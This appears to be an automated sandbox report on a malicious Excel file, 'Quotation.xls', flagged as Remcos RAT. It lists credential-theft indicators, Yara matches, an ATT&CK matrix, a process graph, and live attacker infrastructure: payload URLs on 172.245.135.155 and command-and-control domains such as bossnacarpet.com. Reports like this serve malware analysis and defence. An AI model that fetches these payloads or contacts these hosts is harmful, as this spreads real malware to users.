              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,27_2_0045243C
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: GetLocaleInfoW,27_2_00452543
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,27_2_00452610
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: GetLocaleInfoA,27_2_0040F8D1
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: GetLocaleInfoW,27_2_004488ED
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: IsValidCodePage,GetLocaleInfoW,27_2_00451CD8
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: EnumSystemLocalesW,27_2_00451F50
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: EnumSystemLocalesW,27_2_00451F9B
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeQueries volume information: C:\Users\user\AppData\Roaming\igccu.exe VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
              Source: C:\Users\user\AppData\Roaming\igccu.exeQueries volume information: C:\Users\user\AppData\Roaming\igccu.exe VolumeInformation
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00448957 GetSystemTimeAsFileTime,15_2_00448957
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0041B60D GetUserNameW,15_2_0041B60D
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00449190 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,15_2_00449190
              Source: C:\Windows\System32\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

              Stealing of Sensitive Information

              barindex
              Yara detected Remcos RAT
              Source: Yara matchFile source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 13.2.ngen.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 27.2.iexplore.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.wab.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128651a8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 13.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128dddf0.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 27.2.iexplore.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128dddf0.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128651a8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.12798770.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000001B.00000002.471431780.00000000008F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.820272317.0000000000835000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.455992808.00000000125FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: igccu.exe PID: 3244, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: ngen.exe PID: 3340, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: csc.exe PID: 3352, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: wab.exe PID: 3360, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: iexplore.exe PID: 3884, type: MEMORYSTR
              Contains functionality to steal Chrome passwords or cookies
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data15_2_0040BA12
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data27_2_0040BA12
              Contains functionality to steal Firefox passwords or cookies
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\15_2_0040BB30
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: \key3.db15_2_0040BB30
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\27_2_0040BB30
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: \key3.db27_2_0040BB30
              Searches for Windows Mail specific files
              Source: C:\Users\user\AppData\Roaming\igccu.exeDirectory queried: C:\Program Files (x86)\Windows Mail wab.exeJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeDirectory queried: C:\Program Files (x86)\Windows Mail wab.exeJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeDirectory queried: C:\Program Files (x86)\Windows Mail *Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeDirectory queried: C:\Program Files (x86)\Windows Mail NULLJump to behavior

              Remote Access Functionality

              barindex
              Yara detected Remcos RAT
              Source: Yara matchFile source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 13.2.ngen.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 27.2.iexplore.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.wab.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128651a8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 13.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128dddf0.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 27.2.iexplore.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128dddf0.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 15.2.wab.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.128651a8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.igccu.exe.12798770.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000001B.00000002.471431780.00000000008F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.820272317.0000000000835000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.455992808.00000000125FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: igccu.exe PID: 3244, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: ngen.exe PID: 3340, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: csc.exe PID: 3352, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: wab.exe PID: 3360, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: iexplore.exe PID: 3884, type: MEMORYSTR
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: cmd.exe15_2_0040569A
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: cmd.exe27_2_0040569A

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity Information1
              Scripting              		Valid Accounts11
              Native API              		1
              Scripting              		1
              DLL Side-Loading              		1
              Disable or Modify Tools              		1
              OS Credential Dumping              		2
              System Time Discovery              		Remote Services12
              Archive Collected Data              		23
              Ingress Tool Transfer              		Exfiltration Over Other Network Medium1
              System Shutdown/Reboot
              CredentialsDomainsDefault Accounts13
              Exploitation for Client Execution              		1
              DLL Side-Loading              		1
              Bypass User Account Control              		11
              Deobfuscate/Decode Files or Information              		111
              Input Capture              		1
              Account Discovery              		Remote Desktop Protocol11
              Email Collection              		2
              Encrypted Channel              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain Accounts121
              Command and Scripting Interpreter              		1
              Windows Service              		1
              Access Token Manipulation              		21
              Obfuscated Files or Information              		2
              Credentials In Files              		1
              System Service Discovery              		SMB/Windows Admin Shares111
              Input Capture              		1
              Non-Standard Port              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal Accounts2
              Service Execution              		1
              Browser Extensions              		1
              Windows Service              		1
              Install Root Certificate              		NTDS3
              File and Directory Discovery              		Distributed Component Object Model4
              Clipboard Data              		2
              Non-Application Layer Protocol              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud Accounts3
              PowerShell              		Network Logon Script322
              Process Injection              		1
              DLL Side-Loading              		LSA Secrets35
              System Information Discovery              		SSHKeylogging112
              Application Layer Protocol              		Scheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
              Bypass User Account Control              		Cached Domain Credentials131
              Security Software Discovery              		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
              Masquerading              		DCSync41
              Virtualization/Sandbox Evasion              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job41
              Virtualization/Sandbox Evasion              		Proc Filesystem3
              Process Discovery              		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
              Access Token Manipulation              		/etc/passwd and /etc/shadow1
              Application Window Discovery              		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
              IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron322
              Process Injection              		Network Sniffing1
              System Owner/User Discovery              		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
              Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchdStripped PayloadsInput Capture1
              Remote System Discovery              		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 signatures2 2 Behavior Graph ID: 1467089 Sample: Quotation.xls Startdate: 03/07/2024 Architecture: WINDOWS Score: 100 99 Snort IDS alert for network traffic 2->99 101 Found malware configuration 2->101 103 Malicious sample detected (through community Yara rule) 2->103 105 21 other signatures 2->105 10 EXCEL.EXE 57 48 2->10         started        process3 dnsIp4 71 172.245.135.155, 49162, 49164, 49165 AS-COLOCROSSINGUS United States 10->71 73 hop.fyi 192.185.89.92, 49161, 49163, 49171 UNIFIEDLAYER-AS-1US United States 10->73 67 C:\Users\user\Desktop\Quotation.xls (copy), Composite 10->67 dropped 69 C:\Users\user\AppData\...\IEnetCache[1].hta, HTML 10->69 dropped 115 Microsoft Office drops suspicious files 10->115 15 mshta.exe 10 10->15         started        19 mshta.exe 10 10->19         started        file5 signatures6 process7 dnsIp8 81 hop.fyi 15->81 85 Suspicious command line found 15->85 87 PowerShell case anomaly found 15->87 21 cmd.exe 15->21         started        83 hop.fyi 19->83 24 cmd.exe 19->24         started        signatures9 process10 signatures11 107 Suspicious powershell command line found 21->107 109 PowerShell case anomaly found 21->109 26 powershell.exe 24 21->26         started        30 powershell.exe 24->30         started        process12 file13 61 C:\Users\user\AppData\Roaming\igccu.exe, PE32+ 26->61 dropped 63 C:\Users\user\AppData\Local\...\csrss[1].exe, PE32+ 26->63 dropped 65 C:\Users\user\AppData\...\nsccvpb0.cmdline, Unicode 26->65 dropped 111 Installs new ROOT certificates 26->111 113 Powershell drops PE file 26->113 32 igccu.exe 2 26->32         started        35 csc.exe 2 26->35         started        38 igccu.exe 30->38         started        40 csc.exe 30->40         started        signatures14 process15 file16 89 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 32->89 91 Searches for Windows Mail specific files 32->91 93 Writes to foreign memory regions 32->93 42 wab.exe 3 10 32->42         started        45 ngen.exe 32->45         started        47 csc.exe 32->47         started        49 wab.exe 32->49         started        57 C:\Users\user\AppData\Local\...\nsccvpb0.dll, PE32 35->57 dropped 51 cvtres.exe 35->51         started        95 Allocates memory in foreign processes 38->95 97 Injects a PE file into a foreign processes 38->97 53 iexplore.exe 38->53         started        59 C:\Users\user\AppData\Local\...\czjog1ic.dll, PE32 40->59 dropped 55 cvtres.exe 40->55         started        signatures17 process18 dnsIp19 75 bossnacarpet.com 173.255.204.62, 2556, 49166 LINODE-APLinodeLLCUS United States 42->75 77 vegetachcnc.com 107.173.4.18, 2556, 49167 AS-COLOCROSSINGUS United States 42->77 79 geoplugin.net 178.237.33.50, 49168, 80 ATOM86-ASATOM86NL Netherlands 42->79

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              Quotation.xls29%ReversingLabsWin32.Exploit.CVE-2017-0199
              Quotation.xls100%Joe Sandbox ML

              Dropped Files

              ⊘No Antivirus matches

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              http://nuget.org/NuGet.exe0%URL Reputationsafe
              http://crl.entrust.net/server1.crl00%URL Reputationsafe
              http://ocsp.entrust.net030%URL Reputationsafe
              https://contoso.com/License0%URL Reputationsafe
              https://contoso.com/Icon0%URL Reputationsafe
              http://www.diginotar.nl/cps/pkioverheid00%URL Reputationsafe
              http://geoplugin.net/json.gp0%URL Reputationsafe
              http://geoplugin.net/json.gp/C0%URL Reputationsafe
              https://contoso.com/0%URL Reputationsafe
              https://nuget.org/nuget.exe0%URL Reputationsafe
              http://ocsp.entrust.net0D0%URL Reputationsafe
              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
              https://secure.comodo.com/CPS00%URL Reputationsafe
              http://crl.entrust.net/2048ca.crl00%URL Reputationsafe
              http://172.245.135.155/0%Avira URL Cloudsafe
              http://172.245.135.155/T0207W/cs0%Avira URL Cloudsafe
              http://172.245.135.155/T0207W/csrss.exep0%Avira URL Cloudsafe
              http://hop.fyi/icdL0%Avira URL Cloudsafe
              http://172.245.135.155/xampp/eg/IEnetCache.htaE0%Avira URL Cloudsafe
              http://hop.fyi/-0000%Avira URL Cloudsafe
              http://172.245.135.155/xampp/eg/IEnetCache.htaalse0%Avira URL Cloudsafe
              http://hop.fyi/NlD6e(TIw0%Avira URL Cloudsafe
              http://hop.fyi/NlD6e$0%Avira URL Cloudsafe
              http://172.245.135.155/xampp/eg/IEnetCache.htahttp://172.245.135.155/xampp/eg/IEnetCache.hta0%Avira URL Cloudsafe
              http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl00%Avira URL Cloudsafe
              http://hop.fyi/30%Avira URL Cloudsafe
              http://172.245.135.155/T0207W/csrss.exe(0%Avira URL Cloudsafe
              http://hop.fyi/00%Avira URL Cloudsafe
              http://172.245.135.155/T0207W/csrss.exe1d50a3a0%Avira URL Cloudsafe
              http://go.micros0%Avira URL Cloudsafe
              http://172.245.135.155/xampp/eg/IEnetCache.htaC:0%Avira URL Cloudsafe
              http://crl.pkioverheid.nl/DomOvLatestCRL.crl00%Avira URL Cloudsafe
              bossnacarpet.com100%Avira URL Cloudmalware
              http://172.245.135.155/(0%Avira URL Cloudsafe
              http://172.245.135.155/xampp/eg/IEnetCache.htaSettings-0%Avira URL Cloudsafe
              http://172.245.135.155/xampp/eg/IEnetCache.hta...;60%Avira URL Cloudsafe
              http://172.245.135.155/xampp/eg/IEnetCache.htaSettings0%Avira URL Cloudsafe
              http://hop.fyi/NlD6e0%Avira URL Cloudsafe
              http://go.cr0%Avira URL Cloudsafe
              http://hop.fyi/NlD6ez0%Avira URL Cloudsafe
              http://172.245.135.155/T0207W/csrss.exe100%Avira URL Cloudmalware
              http://172.245.135.155/xampp/eg/IEnetCache.hta100%Avira URL Cloudmalware
              http://172.245.135.155/xampp/eg/IEnetCache.htax0%Avira URL Cloudsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              vegetachcnc.com
              		107.173.4.18
              		truetrue
                		unknown
                hop.fyi
                		192.185.89.92
                		truefalse
                  		unknown
                  bossnacarpet.com
                  		173.255.204.62
                  		truetrue
                    		unknown
                    geoplugin.net
                    		178.237.33.50
                    		truefalse
                      		unknown

                      Contacted URLs

                      NameMaliciousAntivirus DetectionReputation
                      http://geoplugin.net/json.gpfalse
                      • URL Reputation: safe
                      		unknown
                      bossnacarpet.comtrue
                      • Avira URL Cloud: malware
                      		unknown
                      http://172.245.135.155/T0207W/csrss.exetrue
                      • Avira URL Cloud: malware
                      		unknown
                      http://hop.fyi/NlD6efalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://172.245.135.155/xampp/eg/IEnetCache.htatrue
                      • Avira URL Cloud: malware
                      		unknown

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      http://172.245.135.155/mshta.exe, 00000003.00000002.404763651.0000000002BBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.455905191.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.461401543.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000002.462815269.00000000002ED000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://nuget.org/NuGet.exepowershell.exe, 00000006.00000002.428410175.0000000012401000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://172.245.135.155/T0207W/cspowershell.exe, 00000006.00000002.425125733.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.468874480.0000000002722000.00000004.00000800.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://crl.entrust.net/server1.crl0powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://172.245.135.155/xampp/eg/IEnetCache.htaEmshta.exe, 00000013.00000003.455905191.000000000033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000002.462815269.000000000033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.461401543.000000000033D000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://ocsp.entrust.net03powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://hop.fyi/icdLmshta.exe, 00000013.00000003.455905191.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.461401543.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000002.462815269.00000000002ED000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://172.245.135.155/T0207W/csrss.exeppowershell.exe, 00000006.00000002.425125733.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.468874480.0000000002722000.00000004.00000800.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://172.245.135.155/xampp/eg/IEnetCache.htaalsemshta.exe, 00000003.00000003.398793403.000000000039E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.404477847.0000000000391000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.402353749.0000000000391000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://hop.fyi/NlD6e(TIwmshta.exe, 00000003.00000003.402265105.0000000002BE4000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      https://contoso.com/Licensepowershell.exe, 00000006.00000002.428410175.0000000012401000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://172.245.135.155/xampp/eg/IEnetCache.htahttp://172.245.135.155/xampp/eg/IEnetCache.htamshta.exe, 00000003.00000003.401003050.00000000029D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.401058787.00000000029D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.461113978.0000000003135000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.457422469.0000000003135000.00000004.00000800.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://hop.fyi/-000mshta.exe, 00000013.00000003.455905191.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.461401543.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000002.462815269.00000000002ED000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      https://contoso.com/Iconpowershell.exe, 00000006.00000002.428410175.0000000012401000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://hop.fyi/NlD6e$mshta.exe, 00000013.00000002.462746744.00000000002AA000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://172.245.135.155/T0207W/csrss.exe(powershell.exe, 00000016.00000002.473601296.000000001C1C3000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://www.diginotar.nl/cps/pkioverheid0powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://hop.fyi/3mshta.exe, 00000003.00000002.404508032.00000000003E5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.402941502.00000000003E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.402353749.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.398793403.00000000003DE000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://hop.fyi/0mshta.exe, 00000003.00000002.404508032.00000000003E5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.402941502.00000000003E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.402353749.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.398793403.00000000003DE000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://go.microspowershell.exe, 00000006.00000002.425125733.00000000025D3000.00000004.00000800.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://172.245.135.155/T0207W/csrss.exe1d50a3apowershell.exe, 00000006.00000002.428782652.000000001AB6D000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
